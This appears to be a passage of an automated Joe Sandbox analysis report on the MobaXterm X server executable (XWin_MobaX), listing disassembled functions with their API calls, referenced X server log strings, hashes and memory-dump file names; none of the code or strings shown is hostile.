Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Verb$CallbackDispatcherErrorImageLoadMessageUsermemset
String ID: ($@$e$winInitializeScreenDefaults - primary monitor w %d h %d
API String ID: 217432489-1037348004
Opcode ID: 486bd231b7295d3627d93e967f43f4a7295e14ad4a621e02e9dde9bec143a71d
Instruction ID: 1e2436a946457def623f67c834c2182fe4c4a653b589bcbe973dba6617e3eb0d
Opcode Fuzzy Hash: 486bd231b7295d3627d93e967f43f4a7295e14ad4a621e02e9dde9bec143a71d
Instruction Fuzzy Hash: 047172F4A05204DFD700EF68E95575ABBF0BB44308F50C629E495973A0E7BA9948CF86

Function 004F32C1 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 004F32F8
xreallocarray.XWIN_MOBAX(?,?,?,?,004F35FA), ref: 004F3346
memset.MSVCRT ref: 004F33A2

Strings

4, xrefs: 004F338F
4, xrefs: 004F32ED
none, xrefs: 004F32C4

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: callocmemsetxreallocarray
String ID: 4$4$none
API String ID: 1442596877-2854849741
Opcode ID: 14eec7a458f7c51c125a3f426b1ae670e351c627dcb70343652c2d5a0a84d8e0
Instruction ID: 8e144bf59e55d80435be94cd7b3449ccf67ea726108eb7a4aa8396aed366cfc5
Opcode Fuzzy Hash: 14eec7a458f7c51c125a3f426b1ae670e351c627dcb70343652c2d5a0a84d8e0
Instruction Fuzzy Hash: EF31B2742042189FCB44DF19C085A69BBF4AF49395F46C096FC88CF361E338EA80DB91

Function 004012F9 Relevance: 9.1, APIs: 6, Instructions: 76stringCOMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401292
malloc.MSVCRT ref: 0040134A
strlen.MSVCRT ref: 0040136A
malloc.MSVCRT ref: 00401375
memcpy.MSVCRT ref: 00401391
main.XWIN_MOBAX ref: 004013DD
_cexit.MSVCRT ref: 004013FF
_amsg_exit.MSVCRT ref: 0040142B
_initterm.MSVCRT ref: 0040144D

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_amsg_exit_cexit_inittermmainmemcpystrlen
String ID:
API String ID: 890697438-0
Opcode ID: 7f02e5f5c2f4051143aa7ced4a6736dbdcb3f12976cc57f3377ca8d901799fbd
Instruction ID: c63271c80a7ce6ff8c0ba7cefa0e3c5ba989c5f7892920f0d7f118b719dcc27f
Opcode Fuzzy Hash: 7f02e5f5c2f4051143aa7ced4a6736dbdcb3f12976cc57f3377ca8d901799fbd
Instruction Fuzzy Hash: B03116B5A00344CFDB21DF68D480699BBF6FB44300F55C52ED888E7361EB39A881CB99

Function 004F108C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 86windowCOMMON

Download Yara Rule

APIs

LogMessage.XWIN_MOBAX(?,?,?,?,?,?,?,?,004F142B), ref: 004F112B
LogMessage.XWIN_MOBAX(?,?,?,?,?,?,?,?,004F142B), ref: 004F1178

Strings

XKB: No components provided for device %s, xrefs: 004F111C
(unnamed keyboard), xrefs: 004F1113
XKB: Couldn't compile keymap, xrefs: 004F1169

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Message
String ID: (unnamed keyboard)$XKB: Couldn't compile keymap$XKB: No components provided for device %s
API String ID: 2030045667-132338029
Opcode ID: f99c88a4ef71c7961a38984acbba06540602a190fd60c81999c6d1c68376b8a7
Instruction ID: e60b2aa632ec20d7095ab8f21ba84d819eb8561150fc32dc1a9a25e2583114a9
Opcode Fuzzy Hash: f99c88a4ef71c7961a38984acbba06540602a190fd60c81999c6d1c68376b8a7
Instruction Fuzzy Hash: CD416BB8604249DFDB10DF29C580AAABBE4BF48754F41845AFD98DB321E338E941CF56

Function 00657040 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00657084
xcb_intern_atom_reply.LIBXCB-1 ref: 006570B2
free.MSVCRT ref: 00657114

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: free$xcb_intern_atom_reply
String ID:
API String ID: 1500666384-0
Opcode ID: ef62b71417e924701d4f4cd330f15ed1feb68857d54fa623ed52e16c7899ede7
Instruction ID: c50c9d6a3975dda6339ff363db690d793fd9d1e53389be8d192f21710d996f63
Opcode Fuzzy Hash: ef62b71417e924701d4f4cd330f15ed1feb68857d54fa623ed52e16c7899ede7
Instruction Fuzzy Hash: 20215EB450C3419FC710DF25D58465ABBE2BF85354F19482DFCC487341D271EA89CB92

Function 00420288 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

xcb_aux_get_screen.LIBXCB-UTIL-1 ref: 004202A2
xcb_change_window_attributes_checked.LIBXCB-1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041EEB9), ref: 004202CF
xcb_request_check.LIBXCB-1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041EEB9), ref: 004202E4
free.MSVCRT ref: 004202FF
xcb_change_window_attributes.LIBXCB-1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041EEB9), ref: 00420327

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: freexcb_aux_get_screenxcb_change_window_attributesxcb_change_window_attributes_checkedxcb_request_check
String ID:
API String ID: 2435281968-0
Opcode ID: 7c1e7a38470e71d6552f55cf1ca3357974f24b5d301a181c338c1b9ff82e7ea3
Instruction ID: 6688f4f43c73a498129b2a17377f1bceccc78b1251ae0e0bd0d0af0af4138fd7
Opcode Fuzzy Hash: 7c1e7a38470e71d6552f55cf1ca3357974f24b5d301a181c338c1b9ff82e7ea3
Instruction Fuzzy Hash: C6112FB49053099FCB44EFA8C18569EBBF1BF48354F00881DE898AB351D7799A44CF96

Function 0055E2F6 Relevance: 6.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

GetScratchGC.XWIN_MOBAX ref: 0055E3B5

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Scratch
String ID:
API String ID: 1610114027-0
Opcode ID: 1b04ffc917ec501effb6a6ab2101ca152cd4ef78b28e29ba1c1dfabddba06a17
Instruction ID: 3688890fe103593e47172ee9cb6b37193bb909b09b77e6814f0ca1147606c911
Opcode Fuzzy Hash: 1b04ffc917ec501effb6a6ab2101ca152cd4ef78b28e29ba1c1dfabddba06a17
Instruction Fuzzy Hash: 534182B49043199FCB04DF98C094AAEFBF1FF88304F10885AE898A7351D3799A84DF52

Function 005450F2 Relevance: 6.0, APIs: 4, Instructions: 43stringCOMMON

Download Yara Rule

APIs

FakeClientID.XWIN_MOBAX ref: 005450FF
strlen.MSVCRT ref: 0054510D
OpenFont.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,005492CD), ref: 00545136
dixLookupResourceByType.XWIN_MOBAX ref: 00545171

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: ClientFakeFontLookupOpenResourceTypestrlen
String ID:
API String ID: 3083832801-0
Opcode ID: 4f53fd3e3c2e05dd1e629aa0a43df502bbb7127b13a9afa0db120add5938f459
Instruction ID: d92ed8643e639ba919bbc73f69f3131ac7f57e8b46608d5534282d57d0d326fc
Opcode Fuzzy Hash: 4f53fd3e3c2e05dd1e629aa0a43df502bbb7127b13a9afa0db120add5938f459
Instruction Fuzzy Hash: 511158B49087059FDB00DF68D44879DBBF1BB48344F10892DA89597351E7B89544DB86

Function 0041D0F9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146memoryCOMMON

Download Yara Rule

APIs

AllocatePixmap.XWIN_MOBAX ref: 0041D11B

Strings

winCreatePixmap: pPixmap %p HBITMAP %p pBMIH %p pBits %p, xrefs: 0041D2EC

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: AllocatePixmap
String ID: winCreatePixmap: pPixmap %p HBITMAP %p pBMIH %p pBits %p
API String ID: 2913435455-2489724849
Opcode ID: 28fcf6e25e3e5d09c9cfaafc17176498472e2ed1da6d8dbbe3bc029389ac7c9b
Instruction ID: 3607ab3939c34fc4e403a3f80232581113648328f7b94fe245671c110681418a
Opcode Fuzzy Hash: 28fcf6e25e3e5d09c9cfaafc17176498472e2ed1da6d8dbbe3bc029389ac7c9b
Instruction Fuzzy Hash: 91715DB4A04219DFDB00CF98C984B9EBBF0FF48314F158999E868AB361D378E945CB55

Function 00405154 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

winErrorFVerb.XWIN_MOBAX ref: 004051A6

Part of subcall function 00409550: LogVMessageVerb.XWIN_MOBAX ref: 00409578

miPointerWarpCursor.XWIN_MOBAX ref: 00405259

Strings

winPointerWarpCursor - Discarding first warp: %d %d, xrefs: 00405197

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Verb$CursorErrorMessagePointerWarp
String ID: winPointerWarpCursor - Discarding first warp: %d %d
API String ID: 1445216259-3911817642
Opcode ID: dc20b227465f3a72c36a6db9711ef962ce954a0a7ce16717a1d51d06be786fc9
Instruction ID: 0166f6e03a0dadd76180708b83b5e2f00338bfa4e6ef227f89af4808d22f9a41
Opcode Fuzzy Hash: dc20b227465f3a72c36a6db9711ef962ce954a0a7ce16717a1d51d06be786fc9
Instruction Fuzzy Hash: 903192B4A047099FCB00EF69D985A5EBBF0EF48304F00846AE859DB361D374E945CF56

Function 004F13A1 Relevance: 4.6, APIs: 3, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 004F1353: XkbDDXNamesFromRules.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,004F13ED), ref: 004F139A

XkbDDXLoadKeymapByNames.XWIN_MOBAX ref: 004F1426

Part of subcall function 004F108C: LogMessage.XWIN_MOBAX(?,?,?,?,?,?,?,?,004F142B), ref: 004F112B

SrvXkbFreeKeyboard.XWIN_MOBAX ref: 004F145A
XkbFreeComponentNames.XWIN_MOBAX ref: 004F14A3

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Names$Free$ComponentFromKeyboardKeymapLoadMessageRules
String ID:
API String ID: 2437458093-0
Opcode ID: d6c1c5449a0b252d1d9ff539eb0348c35cc9c148c26466855f8ce3551d41fc63
Instruction ID: 3e239dd0c48bcb5869749ae0793bc736b8f05c19d052ece486483485d5bb6bba
Opcode Fuzzy Hash: d6c1c5449a0b252d1d9ff539eb0348c35cc9c148c26466855f8ce3551d41fc63
Instruction Fuzzy Hash: 283165B490430ADFDB40DF55C5847AEBBF0BF88344F10885AE8A4AB350D7799944CF96

Function 005AB1F8 Relevance: 3.8, APIs: 3, Instructions: 32COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 005AB205
calloc.MSVCRT ref: 005AB229
free.MSVCRT ref: 005AB246

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: callocfreemalloc
String ID:
API String ID: 4086611775-0
Opcode ID: de7b9ff04e9a33aff7eef8558ceb74fd5e1d5aa352d841604200fe52bb4dd3fb
Instruction ID: 86c158e6b8a690add537456c6bef553b1fb7d704f8cf1b508f48f98528fd5b64
Opcode Fuzzy Hash: de7b9ff04e9a33aff7eef8558ceb74fd5e1d5aa352d841604200fe52bb4dd3fb
Instruction Fuzzy Hash: EE01B674A052089FEB40EF99D04879DFBF4FF45304F01C49AE854AB392D778D9408B81

Function 006563EA Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0065641C
xcb_send_request.LIBXCB-1 ref: 00656460

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: memsetxcb_send_request
String ID:
